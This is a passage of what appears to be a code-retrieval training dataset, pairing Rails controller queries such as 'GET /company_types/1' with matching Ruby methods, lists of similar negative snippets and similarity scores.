"0.6488321",
"0.6471277",
"0.6434962",
"0.6343553",
"0.6329315",
"0.6266198",
"0.626582",
"0.6236602",
"0.61953914",
"0.61433315",
"0.6132888",
"0.6130129",
"0.6122113",
"0.61215746",
"0.61131275",
"0.61124533",
"0.61124533",
"0.61124533",
"0.61124533",
"0.61115664",
"0.61047375",
"0.61029613",
"0.60794634",
"0.6079244",
"0.6074107",
"0.6069297",
"0.60618633",
"0.60449404",
"0.60407645",
"0.60390854",
"0.6037974",
"0.6037038",
"0.60335165",
"0.60292524",
"0.6026584",
"0.6006926",
"0.6001004",
"0.5999789",
"0.5989054",
"0.5980527",
"0.5967884",
"0.5966733",
"0.59617436",
"0.5956258",
"0.595625",
"0.5952791",
"0.5948744",
"0.59419364",
"0.5938673",
"0.59372455",
"0.59240407",
"0.592088",
"0.5920797",
"0.591854",
"0.5915193",
"0.59071046",
"0.5906213",
"0.58951586",
"0.58945304",
"0.5893133",
"0.5885775",
"0.58821046",
"0.5874788",
"0.5871272",
"0.5870584",
"0.5870244",
"0.5868638",
"0.5862952",
"0.5862551",
"0.5862104",
"0.58578676",
"0.58528644",
"0.58520156",
"0.58370775",
"0.5832314",
"0.5827744",
"0.58248854",
"0.58208865",
"0.5820221",
"0.5815842",
"0.5813881",
"0.5799445",
"0.5791674",
"0.5787321",
"0.5786301",
"0.5776603",
"0.57761556",
"0.5761955",
"0.57618374",
"0.575561",
"0.5754627",
"0.5747789",
"0.5742847",
"0.5736164"
] | 0.78606737 | 0 |
GET /company_types/byState/1 GET /company_types/byState/1.json | def byState
@company_types = CompanyType.where("state_id = ?", company_type_params[:state_id])
render json: @company_types
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def byState\n @companies = Company.where(\"state_id = ?\", company_params[:state_id])\n\n render json: @companies\n end",
"def index\n @company_types = CompanyType.all\n\n render json: @company_types\n end",
"def show\n render json: @company_type\n end",
"def index\n @type_companies = TypeCompany.all\n end",
"def by_state\n \tdata = City.where('state_id = ?', params[:state_id]).order(:name)\n \trespond_to do |format|\n \t\tformat.json {render :json => data, :status => 200}\n \tend\n end",
"def type\n fetch('company.type')\n end",
"def index\n @state_types = StateType.all\n end",
"def index\n @counties = Entity.where(entity_type: 'County').order(:entity_name)\n respond_with(@counties)\n end",
"def index\n @admin_company_types = Admin::CompanyType.all\n end",
"def index\n @cities = City.where(state_id: params[:id])\n respond_to do |format|\n format.json { render :json => @cities.to_json }\n end\n end",
"def index\n @credit_types = CreditType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @credit_types }\n end\n end",
"def index\n @typeofstatuses = Typeofstatus.all.page params[:page]\n end",
"def index\n @crate_types = CrateType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @crate_types }\n end\n end",
"def index\n @q = ContactType.page(params[:page]).search(params[:q])\n @contact_types = @q.result(distinct: true)\n end",
"def index\n @types = Type.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @types.lookup(params[:q]) }\n end\n end",
"def index\n @companies = companies_scope\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @companies }\n end\n end",
"def index\n @costtypes = Costtype.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @costtypes }\n end\n end",
"def show\n \n @states = State.find(:all)\n @state = State.find(params[:id], :include => [ { :offices => :office_type }, {:offices => :incumbents }])\n @us_senator_offices = []\n @us_rep_offices = []\n @state_senator_offices = []\n @state_rep_offices = []\n @state.offices.each do |o|\n case o.office_type.ukey\n when 'US_SENATOR'\n @us_senator_offices.push(o)\n when 'US_REP'\n @us_rep_offices.push(o)\n when 'HOUSE_DELEGATE'\n @us_rep_offices.push(o)\n when 'STATE_SENATOR'\n @state_senator_offices.push(o)\n when 'STATE_REP'\n @state_rep_offices.push(o)\n end\n end\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @state }\n end\n end",
"def index\n @company = Company.find(params[:company_id])\n @roles = Role.where(:company_id => @company.id)\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @roles }\n end\n end",
"def index\n respond_to do |format|\n format.html # index.html.erb (no data required)\n format.ext_json { render :json => find_contract_types.to_ext_json(:class => ContractType, :count => ContractType.count(options_from_search(ContractType))) }\n end\n end",
"def getbyId\n begin\n @company = Company.find(params[:id])\n render :json => @company.to_json(:include =>[:confidenceLevel,:nda,:country,:region,:state,:city,:company_type,:companyInvestors,:classifications,:companyGeos,:companyRevenues,:companyGrowths]), :status=>:ok\n rescue\n render :json=>\"No company found\"\n end\n end",
"def index\n @specification_types = SpecificationType.all.order(\"display_order\")\n\n render json: @specification_types, each_serializer: Web::V1::SpecificationTypeSerializer\n end",
"def index\n @observation_types = ObservationType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @observation_types }\n end\n end",
"def index\n @companies = Company.all\n #result\n\n if @companies.count>0\n render :json => @companies.to_json(:include =>[:confidenceLevel,:nda,:country,:region,:state,:city,:company_type,:company_investors]), :status=>:ok\n else\n render :json => \"No companies found.\".to_json\n end\n end",
"def set_company_type\n @company_type = CompanyType.find(params[:id])\n end",
"def show\n @business_type = BusinessType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @business_type }\n end\n end",
"def index\n @contract_types = ContractType.all\n end",
"def cities_in_state\n cities = State.find(params[:id]).cities.order(name: :asc)\n\n render json: cities.to_json(), status: :ok\n end",
"def index\n @state = State.find(params[:state_id])\n @cities = City.where(:state_id => params[:state_id]).paginate(:page => params[:page], :per_page => 10, :order => 'name')\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @cities }\n end\n end",
"def index\n @q = ClientType.order(name: :asc).ransack(params[:q])\n @client_types = @q.result.page(params[:page]).per(10)\n end",
"def index\n @company_authorities = CompanyAuthority.all\n\n render json: @company_authorities\n end",
"def get_state\n @states = State.find_state(params[:id])\n respond_to do |format|\n format.json { render :json => @states }\n end\n end",
"def index\n @asset_states = AssetState.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @asset_states }\n end\n end",
"def index\n @states = State.order(\"name\").page(params[:page]).per(50)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @states }\n end\n end",
"def set_type_company\n @type_company = TypeCompany.find(params[:id])\n end",
"def find_by_name(name, city, state, resource_type)\n begin\n company = Company.new\n r = InfoconnectWrapper.post url,\n {\n :ResourceType => resource_type,\n :CompanyName => name,\n :RequestType => \"Company\",\n :Limit => \"1\",\n :City => city,\n :StateProvince => state\n }, :content_type => :json, :accept => :json\n\n if r[\"MatchCount\"] > 0\n company_to_parse = r[\"Matches\"][\"Companies\"][0]\n company.init(company_to_parse)\n end\n company\n rescue => e\n puts e\n end\n end",
"def index\n @cloth_types = ClothType.all\n end",
"def types\n aux = WorkOrderType.by_name\n render json: serialized_work_order_types(aux)\n end",
"def pet_types\r\n BnetApi::make_request('/wow/data/pet/types')\r\n end",
"def index\n @bs_types = BsType.all\n end",
"def index\n \n \n\n @outgoing_types = OutgoingType.find_all_by_company_id(current_user.company_id)\n \n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @outgoing_types }\n end\n \n end",
"def index \n respond_to do |format|\n format.html # index.html.erb\n format.json { \n asset_types = AssetType.all\n render json: asset_types \n }\n end\n end",
"def index\n @bet_types = Bet::Type.all\n end",
"def index\n @dept_types = DeptType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @dept_types }\n end\n end",
"def index\n @entity_types = EntityType.paginate(:page => params[:page], :per_page => per_page).order(sort_column + ' ' + sort_direction)\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @entity_types }\n end\n end",
"def index\n @client_types = ClientType.all\n end",
"def index\n @act_types = ActType.order(:name).page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @act_types }\n end\n end",
"def index\n @companies = Company.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @companies }\n end\n end",
"def index\n @companies = Company.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @companies }\n end\n end",
"def index\n @companies = Company.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @companies }\n end\n end",
"def index\n @companies = Company.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @companies }\n end\n end",
"def index\n @ctypes = Ctype.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ctypes }\n end\n end",
"def index\n @type_people = TypePerson.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @type_people }\n end\n end",
"def list(type)\n get(resource_path_for_entity_type(type) + \"?rows=all\")\n end",
"def show\n @contractor_type = ContractorType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @contractor_type }\n end\n end",
"def index\n @incident_types = IncidentType.all\n end",
"def index\n @api_states = Api::State.all\n end",
"def index\n @companies = Company.all\n @com_info = Company.last\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @companies }\n end\n end",
"def index\n @vehicle_types = VehicleType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @vehicle_types }\n end\n end",
"def index\n \n @sales_types = SalesType.find_all_by_company_id(current_user.company_id)\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @sales_types }\n end\n \n end",
"def create\n @company_type = CompanyType.new(company_type_params)\n\n if @company_type.save\n render json: @company_type, status: :created, location: @company_type\n else\n render json: @company_type.errors, status: :unprocessable_entity\n end\n end",
"def companies\n render \"company/companies.json.jbuilder\", status: :ok\n end",
"def index\n @shape_types = ShapeType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @shape_types }\n end\n end",
"def index\n @entity_types = EntityType.all\n end",
"def show\n render json: @company\n end",
"def show\n render json: @company_authority\n end",
"def index\n @taxonomies = Taxonomy.find_all_by_taxonomy_type(params[:taxonomy_type].presence || 'category')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @taxonomies }\n end\n end",
"def index\n @q = CarType.search(params[:q])\n @car_types = @q.result(distinct: true).page(params[:page])\n\n respond_with(@car_types)\n end",
"def index\n @companies = Company.all\n if @companies\n render json: {\n companies: @companies\n }\n else\n render json: {\n status: 500,\n errors: ['No companies']\n }\n end\n end",
"def types\n types = Question.distinct.pluck(:type)\n render json: types.to_a\n end",
"def index\n @states = State.all\n \n render json: @states\n end",
"def index\n if @user_group\n @checkout_types = @user_group.checkout_types.order('checkout_types.position').page(params[:page])\n else\n @checkout_types = CheckoutType.order(:position).page(params[:page])\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @checkout_types }\n end\n end",
"def index\n @catalog_contract_types = Catalog::ContractType.all\n end",
"def index\n authorize EmployeeType\n @q = EmployeeType.ransack(params[:q])\n @q.sorts = 'code' if @q.sorts.empty?\n @employee_types = @q.result.includes(:employee_category)\n end",
"def situations_arrivals_countries_three\n @situations_arrivals_countries = SituationsArrivalsCountry.where(status:true, id: [1,2,3]).order('name ASC')\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @situations_arrivals_countries}\n end\n end",
"def index\n @ctep_org_types = CtepOrgType.all\n end",
"def index\n @sample_types = SampleType.all.sort_by(&:name)\n @first = if @sample_types.any?\n @sample_types[0].name\n else\n 'no sample types'\n end\n\n respond_to do |format|\n format.html { render layout: 'aq2' }\n format.json do\n render json: @sample_types\n .sort { |a, b| a.name <=> b.name }\n .to_json(methods: :field_types)\n end\n end\n end",
"def index\n organizations = if params[:q]\n CclaSignature.search(params[:q])\n else\n Organization.includes(:ccla_signatures)\n end\n\n respond_to do |format|\n format.json do\n render json: organizations.to_json(only: [:id], methods: [:company])\n end\n end\n end",
"def index\n @clothing_types = ClothingType.all\n end",
"def index\n @business_companies = Business::Company.all\n end",
"def index\n @entity_types = EntityType.order('id').page(params[:page])\n \n respond_to do |format|\n format.html # index.html.erb\n end\n end",
"def index\n return unless params[:type] == 'building'\n\n @organizations = @organizations.only_categories(%w[Fraternity Sorority Independent Blitz Concessions])\n end",
"def show\n render json: [*@company]\n end",
"def index\n @identifier_types = IdentifierType.order(:position).page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @identifier_types }\n end\n end",
"def index\n if params[:company_type]\n @search = @community.companies.where(:company_type => params[:company_type]).search(params[:q])\n else\n @search = @community.companies.search(params[:q])\n end\n @companies = @search.result\n\n @tab_name = \"companies\"\n @page_title = \"Companies\"\n @page_subtitle = \"Loyal Businesses\"\n @page_description = \"\"\n\n add_breadcrumb \"Companies\", companies_path, :title => \"#{@community.name} Companies\"\n end",
"def index\n @language_types = LanguageType.all\n\n render json: @language_types\n end",
"def index\n @companies = ClientCompany.all\n end",
"def index\n @pay_types = PayType.all\n end",
"def index\n @contract_statuses = ContractStatus.all\n end",
"def index\n @q = Servicetype.search(params[:q])\n @servicetypes = @q.result(:distinct => true).page(params[:page]).per(10)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json do\n @servicetype = Servicetype.where(\"name LIKE ?\", \"%#{params[:term]}%\")\n render :json => @servicetype.map { |servicetype| servicetype.name }\n end\n end \n end",
"def index\n @income_types = IncomeType.all\n end",
"def index\n @student_types = StudentType.all\n\n render json: @student_types\n end",
"def index\n @acct_types = AcctType.all\n end",
"def index\n @loan_types = LoanType.all\n end",
"def index\n @vet_lab_types = VetLabType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @vet_lab_types }\n end\n end",
"def index\n @discipline_types = DisciplineType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @discipline_types }\n end\n end",
"def index\n # @donor_types = DonorType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @donor_types }\n end\n end",
"def index\n @court_types = CourtType.order(:name)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @court_types }\n end\n end",
"def index\n @payment_type_statuses = PaymentTypeStatus.all\n end",
"def index\n @poi_types = PoiType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @poi_types }\n end\n end"
] | [
"0.7681558",
"0.70722884",
"0.66862345",
"0.657447",
"0.650979",
"0.6132571",
"0.61007315",
"0.6017717",
"0.5965307",
"0.59387076",
"0.5898496",
"0.58936423",
"0.58797354",
"0.5841357",
"0.5807216",
"0.5777385",
"0.5771038",
"0.57659376",
"0.57552516",
"0.5754214",
"0.5742081",
"0.57273483",
"0.5723948",
"0.57121193",
"0.56998026",
"0.56854093",
"0.56845087",
"0.56704986",
"0.56654584",
"0.5661807",
"0.5652796",
"0.5642857",
"0.56316125",
"0.5621635",
"0.56147563",
"0.5608744",
"0.55956376",
"0.55927825",
"0.5574559",
"0.5566318",
"0.5566275",
"0.55627245",
"0.55612713",
"0.55533564",
"0.55528766",
"0.5540372",
"0.553841",
"0.5535043",
"0.5535043",
"0.5535043",
"0.5535043",
"0.5532088",
"0.55293906",
"0.5525802",
"0.5522923",
"0.5522512",
"0.5521386",
"0.5520032",
"0.5503419",
"0.5494285",
"0.54868376",
"0.54769474",
"0.5472213",
"0.547134",
"0.54712653",
"0.5470566",
"0.547025",
"0.54591584",
"0.5451712",
"0.54470235",
"0.5444105",
"0.5440537",
"0.5438745",
"0.54306895",
"0.5420951",
"0.54208463",
"0.5414647",
"0.54138684",
"0.5407543",
"0.5393684",
"0.53900224",
"0.5384456",
"0.5381952",
"0.5381831",
"0.5381241",
"0.53802544",
"0.5378644",
"0.53770036",
"0.53730965",
"0.5362207",
"0.5357978",
"0.53571045",
"0.535497",
"0.5350128",
"0.5349667",
"0.5347974",
"0.53424793",
"0.5340222",
"0.53364116",
"0.53358763"
] | 0.8612504 | 0 |
GET /company_types/1 GET /company_types/1.json | def show
render json: @company_type
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def index\n @company_types = CompanyType.all\n\n render json: @company_types\n end",
"def index\n @type_companies = TypeCompany.all\n end",
"def type\n fetch('company.type')\n end",
"def index\n @admin_company_types = Admin::CompanyType.all\n end",
"def set_type_company\n @type_company = TypeCompany.find(params[:id])\n end",
"def set_company_type\n @company_type = CompanyType.find(params[:id])\n end",
"def index\n @crate_types = CrateType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @crate_types }\n end\n end",
"def index\n @companies = Company.all\n @com_info = Company.last\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @companies }\n end\n end",
"def byState\n @company_types = CompanyType.where(\"state_id = ?\", company_type_params[:state_id])\n\n render json: @company_types\n end",
"def show\n @contractor_type = ContractorType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @contractor_type }\n end\n end",
"def create\n @company_type = CompanyType.new(company_type_params)\n\n if @company_type.save\n render json: @company_type, status: :created, location: @company_type\n else\n render json: @company_type.errors, status: :unprocessable_entity\n end\n end",
"def index\n @credit_types = CreditType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @credit_types }\n end\n end",
"def index\n respond_to do |format|\n format.html # index.html.erb (no data required)\n format.ext_json { render :json => find_contract_types.to_ext_json(:class => ContractType, :count => ContractType.count(options_from_search(ContractType))) }\n end\n end",
"def index\n @companies = Company.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @companies }\n end\n end",
"def index\n @companies = Company.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @companies }\n end\n end",
"def index\n @companies = Company.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @companies }\n end\n end",
"def index\n @companies = Company.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @companies }\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @company }\n end\n end",
"def index\n @companies = companies_scope\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @companies }\n end\n end",
"def show\n render json: @company\n end",
"def index\n @costtypes = Costtype.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @costtypes }\n end\n end",
"def index\n @specification_types = SpecificationType.all.order(\"display_order\")\n\n render json: @specification_types, each_serializer: Web::V1::SpecificationTypeSerializer\n end",
"def index \n respond_to do |format|\n format.html # index.html.erb\n format.json { \n asset_types = AssetType.all\n render json: asset_types \n }\n end\n end",
"def companies\n render \"company/companies.json.jbuilder\", status: :ok\n end",
"def show\n @company = Company.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @company }\n end\n end",
"def show\n @company = Company.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @company }\n end\n end",
"def show\n @company = Company.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @company }\n end\n end",
"def show\n @company = Company.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @company }\n end\n end",
"def show\n @company = Company.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @company }\n end\n end",
"def show\n @company = Company.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @company }\n end\n end",
"def index\n respond_to do |format|\n format.html # index.html.erb (no data required)\n format.ext_json { render :json => find_companies.to_ext_json(:class => :company, :count => Company.count) }\n end\n end",
"def show\n render json: [*@company]\n end",
"def index\n @company_clients = CompanyClient.where(company: params[:company]).first\n end",
"def show\n render json: @company_authority\n end",
"def show\n @crate_type = CrateType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @crate_type }\n end\n end",
"def index\n @client_types = ClientType.all\n end",
"def show\n @contract_type = ContractType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @contract_type }\n end\n end",
"def show\n @client_type = ClientType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @client_type }\n end\n end",
"def index\n @company = Company.find(params[:company_id])\n @roles = Role.where(:company_id => @company.id)\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @roles }\n end\n end",
"def index\n @companies = Company.all\n #result\n\n if @companies.count>0\n render :json => @companies.to_json(:include =>[:confidenceLevel,:nda,:country,:region,:state,:city,:company_type,:company_investors]), :status=>:ok\n else\n render :json => \"No companies found.\".to_json\n end\n end",
"def index\n @companies = ClientCompany.all\n end",
"def update\n @company_type = CompanyType.find(params[:id])\n\n if @company_type.update(company_type_params)\n head :no_content\n else\n render json: @company_type.errors, status: :unprocessable_entity\n end\n end",
"def index\n @ctypes = Ctype.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ctypes }\n end\n end",
"def create\n @type_company = TypeCompany.new(type_company_params)\n\n respond_to do |format|\n if @type_company.save\n format.html { redirect_to @type_company, notice: 'Type company was successfully created.' }\n format.json { render :show, status: :created, location: @type_company }\n else\n format.html { render :new }\n format.json { render json: @type_company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n \n @sales_types = SalesType.find_all_by_company_id(current_user.company_id)\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @sales_types }\n end\n \n end",
"def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @resource_types }\n end\n end",
"def show\n @business_type = BusinessType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @business_type }\n end\n end",
"def getbyId\n begin\n @company = Company.find(params[:id])\n render :json => @company.to_json(:include =>[:confidenceLevel,:nda,:country,:region,:state,:city,:company_type,:companyInvestors,:classifications,:companyGeos,:companyRevenues,:companyGrowths]), :status=>:ok\n rescue\n render :json=>\"No company found\"\n end\n end",
"def index\n @vet_lab_types = VetLabType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @vet_lab_types }\n end\n end",
"def show\n @all_type=Api::V1::AdminType.all\n render json: @all_type\n end",
"def index\n @companies = Company.all\n if @companies\n render json: {\n companies: @companies\n }\n else\n render json: {\n status: 500,\n errors: ['No companies']\n }\n end\n end",
"def index\n @contract_types = ContractType.all\n end",
"def index\n # @donor_types = DonorType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @donor_types }\n end\n end",
"def show\n if params[:term]\n @types = Type.all(:conditions => ['typeName LIKE ?', \"%#{params[:term]}%\"])\n else\n @type = Type.find(params[:id])\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @types }\n end\n end",
"def index\n @company_authorities = CompanyAuthority.all\n\n render json: @company_authorities\n end",
"def index\n @vehicle_types = VehicleType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @vehicle_types }\n end\n end",
"def show\n render json: @specification_type, serializer: Web::V1::SpecificationTypeSerializer\n end",
"def pet_types\r\n BnetApi::make_request('/wow/data/pet/types')\r\n end",
"def show\n @biz_company = BizCompany.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @biz_company }\n end\n end",
"def index\n @type_people = TypePerson.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @type_people }\n end\n end",
"def index\n @types = Type.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @types.lookup(params[:q]) }\n end\n end",
"def show\n @crunch_company = CrunchCompany.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @crunch_company }\n end\n end",
"def show\n @opportunity_type = OpportunityType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @opportunity_type }\n end\n end",
"def index\n @catalog_contract_types = Catalog::ContractType.all\n end",
"def set_admin_company_type\n @admin_company_type = Admin::CompanyType.find(params[:id])\n end",
"def show\n render json: Company.find(params[\"id\"])\n end",
"def show\n @types_of_apprenticeship = TypesOfApprenticeship.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @types_of_apprenticeship }\n end\n end",
"def create\n @admin_company_type = Admin::CompanyType.new(admin_company_type_params)\n\n respond_to do |format|\n if @admin_company_type.save\n format.html { redirect_to @admin_company_type, notice: 'Company type was successfully created.' }\n format.json { render action: 'show', status: :created, location: @admin_company_type }\n else\n format.html { render action: 'new' }\n format.json { render json: @admin_company_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n company = Company.find_by_id(params[:id])\n if company.blank?\n render(\n json: {\n error: {\n code: 404,\n message: \"Company not found\",\n errors: {\n message: \"Company not found\"\n }\n }\n })\n return\n end\n\n render json: {\n data: {\n kind: Company.name,\n id: company.id,\n company: company.as_json(include: :industry)\n }\n }\n end",
"def index\n @discipline_types = DisciplineType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @discipline_types }\n end\n end",
"def types\n @client.make_request :get, reports_path\n end",
"def type_company_params\n params.require(:type_company).permit(:name)\n end",
"def index\n if params[:company_type]\n @search = @community.companies.where(:company_type => params[:company_type]).search(params[:q])\n else\n @search = @community.companies.search(params[:q])\n end\n @companies = @search.result\n\n @tab_name = \"companies\"\n @page_title = \"Companies\"\n @page_subtitle = \"Loyal Businesses\"\n @page_description = \"\"\n\n add_breadcrumb \"Companies\", companies_path, :title => \"#{@community.name} Companies\"\n end",
"def index\n @types = Type.all\n end",
"def index\n authorize CarrierType\n @carrier_types = CarrierType.order(:position)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @carrier_types }\n end\n end",
"def index\n \n \n\n @outgoing_types = OutgoingType.find_all_by_company_id(current_user.company_id)\n \n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @outgoing_types }\n end\n \n end",
"def index\n @language_types = LanguageType.all\n\n render json: @language_types\n end",
"def index\n @dept_types = DeptType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @dept_types }\n end\n end",
"def index\n @product_types = ProductType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @product_types }\n end\n end",
"def show\n @collection = current_user.collections.find(params[:collection_id])\n @entity_type = @collection.entity_types.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @entity_type }\n end\n end",
"def index\n @product_types = ProductType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @product_types }\n end\n end",
"def show\n @agency_type = AgencyType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @agency_type }\n end\n end",
"def index\n @companies = Company.all\n respond_to do |format|\n format.html {}\n format.json {render json: {message: @companies}, status: 200}\n end\n end",
"def show\n @ctype = Ctype.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ctype }\n end\n end",
"def index\n \n\tbegin\n\t\t@coupon_types = CouponType.all\n\n\trescue Mongoid::Errors::DocumentNotFound\n\t\trespond_to do |format|\n\t\t\t#format.json { render :json => \"No Coupon Types Have Been Created Yet.\\n\", status: 603}\n\t\t\treturn\n\t\tend\n\telse\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\t#format.json { render json: @coupon_types }\n\t\t\tformat.json { render :json => @coupon_types.to_a.to_json }\n\t\tend\n end\n end",
"def index\n @taxonomies = Taxonomy.find_all_by_taxonomy_type(params[:taxonomy_type].presence || 'category')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @taxonomies }\n end\n end",
"def show\n @api_v1_user_types = Api::V1::UserType.all\n end",
"def index\n @platform_account_types = PlatformAccountType.all\n end",
"def index\n @typeconges = Typeconge.all\n end",
"def companies\n companies = Driver.find(params[:id]).company\n if companies.size == 0\n companies = Array.new\n end\n respond_with companies\n rescue ActiveRecord::RecordNotFound\n respond_with ActiveRecord::RecordNotFound\n end",
"def index\n @entity_types = EntityType.all\n end",
"def index\n @competence_types = CompetenceType.all\n end",
"def index\n @techaxis_types = TechaxisType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @techaxis_types }\n end\n end",
"def show\n @incident_type = IncidentType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @incident_type }\n end\n end",
"def index\n @observation_types = ObservationType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @observation_types }\n end\n end",
"def index\n @intelcompanies = IntelCompany.all\n render json: @intelcompanies.to_json(include: [:intel, :company])\n end",
"def index\n @cloth_types = ClothType.all\n end",
"def byId\n @company = Company.find(company_params[:id])\n\n render json: @company\n end",
"def update\n @company = Company.friendly.find(params[:id])\n\n @company.companytype_id = params[:companytype_id]\n\n\n\n respond_to do |format|\n\n if @company.update(company_params)\n format.html { redirect_to @company, notice: 'Company was successfully updated.' }\n format.json { render :show, status: :ok, location: @company }\n else\n format.html { render :edit }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @company_account = CompanyAccount.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @company_account }\n end\n end"
] | [
"0.77569324",
"0.719821",
"0.7186441",
"0.6849857",
"0.66516054",
"0.6590242",
"0.6520687",
"0.64819556",
"0.6416951",
"0.6383246",
"0.63786995",
"0.63211143",
"0.62555534",
"0.6238684",
"0.6238684",
"0.6238684",
"0.6238684",
"0.6237996",
"0.6227353",
"0.6204575",
"0.6188086",
"0.61770976",
"0.61394453",
"0.61281407",
"0.61210424",
"0.61210424",
"0.61210424",
"0.61210424",
"0.61210424",
"0.61210424",
"0.6108215",
"0.61008674",
"0.6094814",
"0.60821426",
"0.6081572",
"0.6063825",
"0.6059595",
"0.6055599",
"0.6048099",
"0.60445076",
"0.60431564",
"0.6042058",
"0.60320437",
"0.6031914",
"0.60309994",
"0.6026665",
"0.60227203",
"0.6011579",
"0.60036194",
"0.5989708",
"0.5980289",
"0.59777665",
"0.5976924",
"0.59701496",
"0.596675",
"0.596668",
"0.5964303",
"0.59585404",
"0.5958517",
